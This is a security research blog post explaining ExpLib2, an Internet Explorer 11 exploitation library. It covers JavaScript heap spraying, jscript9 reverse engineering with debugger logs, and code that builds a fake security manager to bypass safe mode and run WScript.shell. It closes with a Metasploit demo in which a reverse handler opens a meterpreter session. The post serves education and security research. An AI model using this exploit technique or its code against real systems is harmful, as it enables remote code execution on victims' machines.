Last updated at Fri, 12 Jan 2024 16:29:51 GMT
This blog post was jointly written by Wei sinn3r Chen and Juan Vazquez
Memory corruption exploitation is not how it used to be. With modern mitigations in place, such as GS, SafeSEH, SEHOP, DEP, ASLR/FASLR, EAF+, ASR, VTable guards, memory randomization, and sealed optimization, etc, exploit development has become much more complicated. It definitely shows when you see researchers jumping through hoops like reverse-engineering some 0-day vulnerability and the software, turning a use-after-free crash into an arbitrary write, leak an object and disclose a module base, and customized ROP and shellcode. Watching an exploit developer work is like watching a nice kung fu movie: you see him trying to thrust, hack, kick, hitting left and right, from the ground all the way to rooftops, and then next thing you know he just popped a shell. It's all very fancy. Oh, and it's real.
Despite all the fanciness of modern exploitation, security researcher Yuki Chen (who is the exploit dev version of Bruce Lee) took a different turn. If you're not much of a Bruce Lee fan, well, Lee was really big in the philosophy of simplicity. In his words:
“It's not the daily increase but daily decrease. Hack away at the unessential.”
What Yuki Chen wanted to do was avoid dealing with the hassle of EAF, DEP, shellcode, and other things. Basically, going for the most straight-forward punch with the least amount of effort. His idea of simplicity and the creation of ExpLib2 are what make him so Bruce Lee. However, we notice that the security community hasn't been talking about his stuff much, so here we'd like to go over his work on ExpLib2 more in depth, hopefully to spark more interest.
ExpLib2 is basically Yuki's exploitation library for Internet Explorer. To be able to use this, it assumes you already have a bug for an arbitrary write. And then you will have to use this bug to modify the length field of an array in memory, and you tell the library where it is, what payload to run, and that's all it needs from you. To give you an idea how much you're writing for the exploit, take a good look at the following example:
function modifyArray() {
// Use your bug and modify the array here
// For testing, we do: ed 1a1b3000+18 400
}
function example() {
var num_arrays = 98688;
var arr_size = (0x1000 - 0x20)/4;
var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') );
explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); // There is a default one too
explib.spray();
modifyArray();
explib.go(); // Code execution
}
The go()
function from ExpLib2 will then use the information initialized by you and leak objects in order to figure out where the security manager is, makes a copy of it, have it modified (and patches other necessary functions), that way the ScriptEngine functions will end up using your fake security manager, and execute your payload in "god mode". This is pretty much the summarized version of the technique, which is also briefly explained in the original paper by Yuki, "Exploit IE Using Scriptable ActiveX Controls", but let's take a closer look at this magic trick.
Heap Spraying
As you can see from the above example, an array is sprayed (on the heap), and here's why: Heap spraying is a common technique to place something at a predicable location in memory, in this case so ExpLib2 can modify it to perform an information leak. JavaScript arrays are also much easier to work with, because in memory there's no randomization or any alignment problems, which yields predictability. As an optional reading, a recent presentation titled "The Art of Leaks: The Return of Heap Feng Shui" by ga1ois is a good one that explains better about array spraying in Javascript, which you might find interesting.
The following is the exact routine that ExpLib2 uses for spraying, and we'll explain about how it works:
ExpLib.prototype.spray = function() {
this.arr_arr = new Array( num_arrays );
var decl = "[";
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
decl += '0,';
}
decl += '0';
decl += ']';
for ( var i = 0; i < num_arrays; ++ i ) {
this.arr_arr[i] = eval(decl);
for(var j = 0; j < this.arr_contents.length; j++) {
this.arr_arr[i][j] = this.arr_contents[j];
}
}
}
To use this spray() function, first off we need to initialize ExpLib2. We'll ask it to create 20 members for the array. Every member has the size of (0x1000 - 0x20) /4 (more about this later). And we expect the library to store one of the array members at this address: 0x1a1b3000
var explib = new ExpLib( 20, (0x1000 - 0x20)/4 , 0x1a1b3000, new payload_exec('calc') );
explib.spray();
Once the spray() function is called, the spraying begins. In the beginning, the 20 members are filled with zeros using an eval'ed array:
var decl = "[";
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
decl += '0,';
}
decl += '0';
decl += ']';
Each member is (0x1000 - 0x20) / 4 big. What happens under the hood for the array creation can be examined in the Js::InterpreterStackFrame::OP_ProfiledNewScIntArray function in Jscript9.dll:
int __thiscall Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>(int this, int a2)
{
.......
if ( v8 )
{
v9 = *v8;
if ( !(v9 & 1) )
{
// Js::JavascriptLibrary::CreateNativeIntArrayLiteral(uint)
v10 = Js::JavascriptLibrary::CreateNativeIntArrayLiteral(*v5);
// Js::JavascriptOperators::AddIntsToArraySegment(Js::SparseArraySegment<int> *,Js::AuxArray<int> const *)
Js::JavascriptOperators::AddIntsToArraySegment();
........
The first call to Js::JavascriptLibrary::CreateNativeIntArrayLiteral() will initialize the Js::JavascriptnativeIntArray object and will allocate space to store the data. The second call to Js::JavascriptOperators::AddIntsToArraySegment() will fill the space with user-controlled data, which in this case is just nulls.
Let's examine the Js::JavascriptLibrary::CreateNativeIntArrayLiteral() function first a little more carefully. So in Jscript9, there are multiple variants of arrays like Integer arrays or float arrays. Our function, as the name implies, creates a "Native Int Array Literal". Although there are different types of arrays out there, note that they all have the same inheritance that goes all the way back to Js::DynamicObject:
As an example, our JavascriptNativeIntArray has the following layout in memory:
Next, space for the array data will be allocated through the internal Jscript9 allocator. For arrays like the ones used by ExpLib2, if large enough, will go through LargeHeapBlock:
0:007> g
Breakpoint 3 hit
eax=0000018c ebx=00000ff0 ecx=0258aa98 edx=0254cb8c esi=00000ff0 edi=0254f344
eip=68be0594 esp=0344aef8 ebp=0344af1c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!LargeHeapBlock::Alloc:
68be0594 8bff mov edi,edi
0:007> kb
ChildEBP RetAddr Args to Child
0344aef4 68d03a7f 00000ff0 00000000 000003f8 jscript9!LargeHeapBlock::Alloc
0344af1c 68d03979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0xe1
0344af34 68d039f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0344af4c 68d039b2 000003f8 000003f8 02925100 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0344af80 68bc3a24 02548a78 02f69010 0344afc0 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0344af90 68c4a9b5 000003f8 0344b3d0 02546f58 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a
LargeHeapBlock::Alloc will check if it has enough space available for the requested allocation. The actual requesting size should be data size plus the 0x10 header size. If there's space, it will return a pointer for the allocation, and then it will just adjust the position of the next available space.
.text:1006059D mov ecx, [ebp+arg_0] ; Allocation Request
.text:100605A0 push edi
.text:100605A1 mov ebx, [esi+1Ch] ; Space Available
.text:100605A4 lea edi, [ebx+10h] ; Allocation Header Length: 0x10
.text:100605A7 lea eax, [ecx+edi] ; EAX = the limit of the allocation
.text:100605AA cmp eax, [esi+20h] ; Compare with the max memory available for LargeHeapBlock
.text:100605AD ja loc_10060808
.text:100605B3 cmp eax, edi
.text:100605B5 jb loc_10060808
.text:100605BB mov dl, [ebp+arg_4]
.text:100605BE mov [esi+1Ch], eax ; 0x1c stores the new pointer to the available space for allocations
.text:100605C1 mov eax, [esi+14h]
.text:100605C4 mov [ebx+4], ecx
.text:100605C7 mov [ebx], eax
.text:100605C9 mov eax, edi ; Pointer to the memory to store the data
The allocation request eventually reaches VirtualAlloc through the JavaScript PageAllocator. The following demonstrates an allocation of 0x20000:
0:004> kb 10
ChildEBP RetAddr Args to Child
0365b190 6b530184 00201000 00000004 02789410 jscript9!Segment::Initialize+0x31
0365b1a8 6b530122 00000000 02789410 0365b1d4 jscript9!PageAllocator::AllocPageSegment+0x34
0365b1b8 6b5300fa 02789414 0365b22c 02789410 jscript9!PageAllocator::AddPageSegment+0x14
0365b1d4 6b4d97d2 00000004 0365b20c 00000000 jscript9!PageAllocator::SnailAllocPages+0x3d
0365b1ec 6b4d98c1 00000004 0365b20c 02789410 jscript9!PageAllocator::AllocPages+0x3d
0365b204 6b5306e6 0365b22c 0365b224 00000000 jscript9!PageAllocator::Alloc+0x1d
0365b230 6b530880 00000ff0 0278fcd4 0365b260 jscript9!LargeHeapBucket::AddLargeHeapBlock+0x5d
0365b240 6b53085e 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::TryAllocFromNewHeapBlock+0xe
0365b260 6b67408d 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::SnailAlloc+0x3e
0365b28c 6b653979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0x10f
0365b2a4 6b6539f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0365b2bc 6b6539b2 000003f8 000003f8 02f146a0 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0365b2f0 6b513a24 02789408 0307d020 0365b330 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0365b300 6b59a9b5 000003f8 0365b740 027878b0 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a
0365b330 6b59a92a 031ee480 027878b0 031ee480 jscript9!Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>+0x72
0365b738 6b4e0aa3 02efa550 031ee480 02efa540 jscript9!Js::InterpreterStackFrame::Process+0x472a
If you do get an allocation, there shouldn't be any randomization behind it. Other researchers like Yuki and @Ga1ois also pretty much claim the same thing.
Let's move on to the array data. Remember the (0x1000 - 0x20 / 4) size we talked about? Here's where that "0x20" comes from: when data is created, we must account for two things: The allocation header, and the array header. Each of them is 0x10 bytes, so that's where you got the 0x20. Having these into account will ensure you to get 0x1000-byte aligned allocations with LargeHeapBlock. Each array looks like the following:
Some interesting information you want to remember:
- Allocation header + 0x4 = Allocation Size
- Array data header + 0x4 = Array Length
- Array data header + 0x8 = Array Length
- The array data would have an allocation pattern like this link.
So yup, that's it for our heap spraying. It's quite a lot of stuff to go through, isn't it? Does the code example above remind you how awesome Yuki Chen is to make this into one line of code?
Exploitation with Safe Mode Bypass in Internet Explorer 11
Like we said earlier, Yuki Chen's exploitation technique doesn't require any ROP, VirtualProtect, NtContinue, or custom shellcode, etc. It does require you to begin with a memory corruption of your own in order to modify an array you spray. Modify what, you ask? Well, by overwriting the length field of an array, which is found in the array data header, it is possible to read or write whatever is beyond the array data, and that is your typical information leak. By taking advantage of this, Yuki Chen managed to eventually disable safe mode in Internet Explorer to be able to run an unsafe ActiveX object like this:
var WshShell = new ActiveXObject("WScript.shell");
oExec = WshShell.Exec('calc.exe')
What ExpLib2 achieves for you is with that information leak, it will disclose the address of an ScriptEngine object, and then it finds the security manager from it at offset 0x21c, like this:
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
Note that even though the security manager is an object, the symbols for it won't necessarily make sense to you. The vtable has your typical QueryInterface, AddRef, Release, the rest are all "TearoffThunk"s, which is sort of cryptic looking at first glance. An example of that can be found here. We were able to verity this is indeed the security manager by examining the ScriptSite::CreateObjectFromProgID function (which is used to create an ActiveX object):
signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
{
....
if ( a3 )
pvReserved = &v13;
if ( ScriptEngine::InSafeMode(*((_DWORD *)this + 1), (int)&v19) < 0 )
return -2146827859;
v5 = v19 ? CLSIDFromProgID(lpszProgID, &clsid) : CLSIDFromProgIDEx(lpszProgID, &clsid);
if ( v5 < 0 || !ScriptEngine::CanCreateObject(*((_DWORD *)v4 + 1), (int)&clsid) )
return -2146827859;
v6 = 5;
if ( a3 )
{
if ( *(_DWORD *)(*((_DWORD *)v4 + 20) + 1164) >= 3 || v19 )
return -2146827859;
v6 = 16;
}
if ( CoGetClassObject(&clsid, v6, pvReserved, &IID_IClassFactory, &ppv) < 0 )
return -2146827859;
v7 = (**(int (__stdcall ***)(LPVOID, GUID *, int *))ppv)(ppv, &IID_IClassFactoryEx, &v20) < 0;
v8 = *(_DWORD *)ppv;
if ( v7 )
{
v9 = (*(int (__stdcall **)(LPVOID, _DWORD, GUID *, int))(v8 + 12))(ppv, 0, &IID_IUnknown, a4);
(*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);
if ( v9 >= 0 )
{
LABEL_11:
if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
return v9;
(*(void (__stdcall **)(_DWORD))(**(_DWORD **)a4 + 8))(*(_DWORD *)a4);
*(_DWORD *)a4 = 0;
return -2146827859;
}
}
else
{
(*(void (__stdcall **)(LPVOID))(v8 + 8))(ppv);
pvReserved = 0;
v11 = SiteService::Create(&pvReserved, v4);
v12 = pvReserved;
v9 = v11;
if ( v11 >= 0 )
{
v9 = (*(int (__stdcall **)(int, LPVOID, _DWORD, GUID *, int))(*(_DWORD *)v20 + 20))(
v20,
pvReserved,
0,
&IID_IUnknown,
a4);
if ( v9 >= 0 )
{
(*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
SiteService::Release(v12);
goto LABEL_11;
}
}
(*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
if ( v12 )
SiteService::Release(v12);
}
return v9;
}
The first important thing here is the call to ScriptEngine::CanCreateObject function. There you can find an interesting call to ScriptEngine::GetSiteHostSecurityManagerNoRef() with an argument (var_4), which is the host of the security manager:
6c128362 8d45fc lea eax,[ebp-4]
6c128365 8bce mov ecx,esi
6c128367 50 push eax
6c128368 e844000000 call jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (6c1283b1)
What follows next is the ScriptEngine::GetSiteHostSecurityManagerNoRef function will retrieve the security manager at offset 0x21c from the ScriptEngine object. You know, the same 0x21c offset that ExpLib2 refers to:
6c1283d5 8d9f1c020000 lea ebx,[edi+21Ch] ; Retrieve SecurityManager from ScriptEngine
6c1283db 3933 cmp dword ptr [ebx],esi
6c1283dd 7412 je jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x40 (6c1283f1)
6c1283df 8b4d08 mov ecx,dword ptr [ebp+8]
6c1283e2 8b03 mov eax,dword ptr [ebx]
6c1283e4 5b pop ebx
6c1283e5 8901 mov dword ptr [ecx],eax ; Store the SecurityManager reference into the caller var_4
6c1283e7 8bc6 mov eax,esi
6c1283e9 5f pop edi
6c1283ea 5e pop esi
6c1283eb 8be5 mov esp,ebp
6c1283ed 5d pop ebp
6c1283ee c20400 ret 4
We can double check that 0x21c is indeed where is security manager is by hitting out breakpoint at address 0x6c1283d5, which is where the "lea ebx, [edi 21Ch]" instruction is:
Breakpoint 2 hit
eax=035ab150 ebx=035ab1dc ecx=0462eb98 edx=00000020 esi=00000000 edi=029b1dd8
eip=6c1283d5 esp=035ab12c ebp=035ab13c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x24:
6c1283d5 8d9f1c020000 lea ebx,[edi+21Ch]
Ok, so we've hit the correct breakpoint. If we check EDI, it should point to the ScriptEngine object:
0:007> ln poi(edi)
(6bfc2298) jscript9!ScriptEngine::`vftable' | (6c03d878) jscript9!`string'
Exact matches:
jscript9!ScriptEngine::`vftable' = <no type information>
At EDI+0x21c, we notice this pointer 0x68decd98 (this log is from another new debugging session, but you get the point):
0:007> dds poi(edi+21c) L1
00359c90 68decd98 MSHTML!s_apfnPlainTearoffVtable
If we take a look at this particular pointer, it brings us to the same "cryptic" looking vtable we found earlier, which verifies that this is indeed the security manager:
0:007> dds poi(poi(edi+21c))
68decd98 67fb87d7 MSHTML!PlainQueryInterface
68decd9c 67fad535 MSHTML!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::AddRef
68decda0 67faa906 MSHTML!PlainRelease
68decda4 681efba2 MSHTML!TearoffThunk3
68decda8 681b6f2b MSHTML!TearoffThunk4
68decdac 681b6efc MSHTML!TearoffThunk5
68decdb0 681bc2d9 MSHTML!TearoffThunk6
68decdb4 680f0bfd MSHTML!TearoffThunk7
68decdb8 681b7ecd MSHTML!TearoffThunk8
68decdbc 681f4109 MSHTML!TearoffThunk9
68decdc0 681c5978 MSHTML!TearoffThunk10
68decdc4 68110cf1 MSHTML!TearoffThunk11
68decdc8 68093831 MSHTML!TearoffThunk12
68decdcc 68455c0d MSHTML!TearoffThunk13
68decdd0 68322ce5 MSHTML!TearoffThunk14
68decdd4 681f4612 MSHTML!TearoffThunk15
68decdd8 683ea4cb MSHTML!TearoffThunk16
68decddc 681f56e8 MSHTML!TearoffThunk17
68decde0 683ec3c5 MSHTML!TearoffThunk18
68decde4 6846194c MSHTML!TearoffThunk19
68decde8 68212c40 MSHTML!TearoffThunk20
68decdec 68213049 MSHTML!TearoffThunk21
68decdf0 683e5d5a MSHTML!TearoffThunk22
68decdf4 683e50c1 MSHTML!TearoffThunk23
68decdf8 683c9755 MSHTML!TearoffThunk24
68decdfc 68209511 MSHTML!TearoffThunk25
68dece00 6848ab0e MSHTML!TearoffThunk26
68dece04 68408a2f MSHTML!TearoffThunk27
68dece08 68484220 MSHTML!TearoffThunk28
68dece0c 684b8d55 MSHTML!TearoffThunk29
68dece10 684b8f75 MSHTML!TearoffThunk30
68dece14 68417220 MSHTML!TearoffThunk31
Now back to ExpLib2. After it figures out where the security manager is (it also finds Jscript9's base, code start, code end for other things later on), it will copy it in order to create another fake one. It becomes fake because ExpLib2 modifies its security manager vtable, and then it modifies ScriptEngine's security manager reference at offset 0x21c to the fake one. And this is how we trick Internet Explorer into treating your unsafe ActiveX safe.
But hang on, that's not all of it. ExpLib2 also needs to patch two virtual functions in the fake security manager with the following sequences:
/* mov esp, ebp; pop ebp; ret 8; */
this.write32( fake_securitymanager_vtable + 0x14,
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) );
/* mov esp, ebp; pop ebp; ret 4; */
this.write32( fake_securitymanager_vtable + 0x10,
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) );
These two patches are meant for the type of payload you want to run. The first patch is for exec type of payload, and the second patch is for drop-and-execute type of payload. Let's focus on the first patch, because that should be enough to make a point for now.
To examine what the first patch is about, we'll breakpoint at the original virtual function MSHTML!TearoffThunk5 (offset 0x14), and see why it has to be faked. The breakpoint should lead us to ScriptEngine::CanObjectRun() based on the callstack:
0:007> g
Breakpoint 2 hit
eax=00359c90 ebx=00000000 ecx=68decd98 edx=027ab6a0 esi=027ab734 edi=027ab6c4
eip=681b6efc esp=027ab670 ebp=027ab6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!TearoffThunk5:
681b6efc 8b542404 mov edx,dword ptr [esp+4] ss:0023:027ab674=909c3500
0:007> kb 5
ChildEBP RetAddr Args to Child
027ab66c 66965d46 00359c90 66965d84 027ab6a0 MSHTML!TearoffThunk5
027ab6e0 66965bd1 027ab724 012a34cc 00000002 jscript9!ScriptEngine::CanObjectRun+0x89
027ab73c 66965a86 01c6afe0 00000000 027ab76c jscript9!ScriptSite::CreateObjectFromProgID+0xfd
027ab788 66965a03 01c6afe0 00000000 012f79c8 jscript9!ScriptSite::CreateActiveXObject+0x51
027ab7b8 66826f21 01df74c0 01000002 00000000 jscript9!JavascriptActiveXObject::NewInstance+0x99
After some stepping in the debugger, you should be able to tell that faking the virtual function at offset 0x14 is necessary: It needs to survive the CanObjectRun call, which allows a successful return from function CreateObjectFromProgID, and finally creating an ActiveXObject without any issues:
signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
...
if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
return v9;
And that's really impressive work from Yuki Chen. In case you haven't realized, he managed to get code execution on Internet Explorer 11 without fighting every single memory protection like a boss. Reversing the JavaScript security model is also a fun one for all of us.
Metasploit Demo
In case you didn't know, ExpLib2 has already been merged into Metasploit. To demonstrate how to use it by an exploit module, we have two test cases for you to play with:
test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
test/modules/exploits/test/explib2_ie11_exec_test_case.rb
The difference between these two modules is the kind of payload you get with ExpLib2. We like explib2_ie11_drop_exec_test_case
, because it pops a Metasploit meterpreter session, so we'll talk about that. To use it, make sure you place it as a loadable module by the Framework, and then:
> use exploit/windows/browser/explib2_ie11_drop_exec_test_case
msf exploit(explib2_ie11_drop_exec_test_case) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8080/tGd8X1dZBBosQ92
[*] Local IP: http://10.6.0.136:8080/tGd8X1dZBBosQ92
[*] Server started.
Visit the page with a Windows 7 SP1 / IE11, an alert will pop up asking you to execute the following "ed" command. This is just a way to simulate a memory corruption vulnerability to overwrite the array data length. You should attach WinDBG to iexplore.exe, and run this ed command:
ed 1a1b3000+18 400
Next, you can either issue the "g" command to continue the process, or you can run the ".detach" command. And then go ahead and click on the alert. After that, ExpLib2 should do its thing, and you should get a session like so:
msf exploit(explib2_ie11_drop_exec_test_case) >
[*] 10.6.0.136 explib2_ie11_drop_exec_test_case - Gathering target information.
[*] 10.6.0.136 explib2_ie11_drop_exec_test_case - Sending response HTML.
[*] Sending stage (769536 bytes) to 10.6.0.136
[*] Meterpreter session 1 opened (10.6.0.136:4444 -> 10.6.0.136:50719) at 2014-03-28 11:06:41 -0500
msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
If you'd like to try ExpLib2 in Metasploit yourself, make sure to run an update and this should be in your repository. If you don't have a development environment, feel free to go through our Metasploit Development Environment wiki, and maybe submit a pull request if you'd like to improve it more. Finally, if you've never heard of Metasploit before, click here to enjoy thousands of exploits, auxiliaries, post modules, and more. It's FREE.